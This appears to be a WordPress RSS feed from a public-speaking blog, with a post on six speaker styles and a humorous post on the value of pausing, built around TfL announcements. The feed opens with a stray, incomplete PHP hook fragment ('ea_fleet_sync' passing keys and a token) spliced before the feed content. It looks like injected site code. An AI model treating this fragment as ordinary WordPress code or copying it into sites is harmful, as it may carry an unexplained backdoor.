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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Know your audience Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/know-your-audience/ Public speaking Sun, 20 Aug 2023 11:50:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> Just pause – the power of silence; don’t worry about the gap! https://www.nowyouretalking.co.uk/2023/08/20/just-pause-power-of-silence/ Sun, 20 Aug 2023 10:18:10 +0000 https://www.nowyouretalking.co.uk/?p=707 Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence. We are apparently born with just two fears – fear of falling and fear of LOUD…

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]]> Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence.

We are apparently born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose and one purpose only… the preservation of the human race.

MIND THE GAP! Pause - don't mind the gap

Fellow travellers, commuters and everyone who uses public transport in  London, have you stopped listening to those loud and incessant health-&-safety-driven messages. Just pause and please don’t mind the gap.

A while ago now, rail bosses agreed to rid passenger announcements of what they called ‘tosh’, after finding most customers zone out at the first ‘bing-bong’ of the PA system because they consider the information to be largely irrelevant, redundant and repetitive.

Bizarrely, this hasn’t filtered through to TfL.  And to make sure we don’t zone out its pearls of wisdom, TfL has ramped up the volume!

A member of TfL staff once explained to me that the decibel level for its inanities, sorry important messages and announcements, is set at 20% above the ambient sound levels on the platforms or in the trains.  I’m not sure how they gauge the ambient sound, but 20% above seems to vary from…

[VERY QUIETLY] “This train terminates here.  All change.  Thank you for travelling with London Overground.”

… to

[VERY LOUDLY] “This is a customer announcement.  In the interests of security, please keep your luggage and personal belongings with you at all times!  If you see anything suspicious, please tell a member of staff or a police officer.” And now we have the maddening, if well-intentioned addition of “See it. Say it. Sorted!”

One moment, it’s barely audible; the next, [FINGERS IN EARS] “Turn it down, pleeeeease!”

And as if that’s not enough, they seem to want to grind us into the ground by droning on and on and on, relentlessly ignoring the power of the pause!

Please stand behind the yellow line.

Please take extra care with the gap between the train and the platform.  Whatever happened to Mind the Gap?

This is the London Overground Service to Highbury & Islington.  The next station is Canada Water.  Change here for London Underground Jubilee Line.  The next station bit is like a breath of fresh air as the name changes from one stop to the next.

Pause, please! But they don’t stop there!

You must have a valid ticket or Oyster card to use this train.  If you do not, you may have to pay a penalty fare.  Thank you.

Would customers please note that due to a short platform, the rear doors of the last coach will not open.

Would customers please note, you can only alight from the front four coaches as this station has a short platform.

Please ensure that you are travelling in the correct part of the train.  This is coach number 2 of 5.

Every station!  And sometimes in triplicate – just before the station, at the station, on leaving the station!  And if the length of the platform is the only thing that customers should please note, why say the rest!  Would TfL please note, it’s like listening to a robot unravelling! Pause. Take a breath. Stop talking!

No wonder people wear headphones!  Unfortunately, this exacerbates the situation, as TfL ramps up the decibel level even further in an effort to penetrate the passenger sound barrier.

It’s a terrifying experience out there on Transport for London.  I feel utterly bamboozled, battered and bewildered!

But then, sometimes you get lucky and the noise becomes beautiful and humorous sound.  A guard on the Met line recently announced: “I do apologise for the early arrival of this service this morning.  Normal delayed service will be resumed this evening!”

The Jubilee line has a driver who likes to entertain his passengers.  Based on what he sees as people board the train, his dulcet tones have caressed our hearts and ears with things like

Welcome to the Jubilee line this Friday evening.  If you need someone to do your ironing this weekend, have a chat with the lady who has just boarded the third carriage from the front … with an ironing board.  For a sing song, please move to the rear of the train and join the man with his guitar.  I wish I had given the beautiful lady the red roses she is carrying.  Come Monday morning, welcome ladies and gentlemen.  I hope you had a great weekend! These are announcements we can enjoy, humorous messages that make us feel good. And when they have nothing to say, they pause. Silence.

Would TfL please note, drivers can give us so much pleasure

Would TfL please pause, we have no fear of silence

Would TfL please note the rather apposite wisdom of Mark Twain:

“If you have nothing to say, say nothing.”

 

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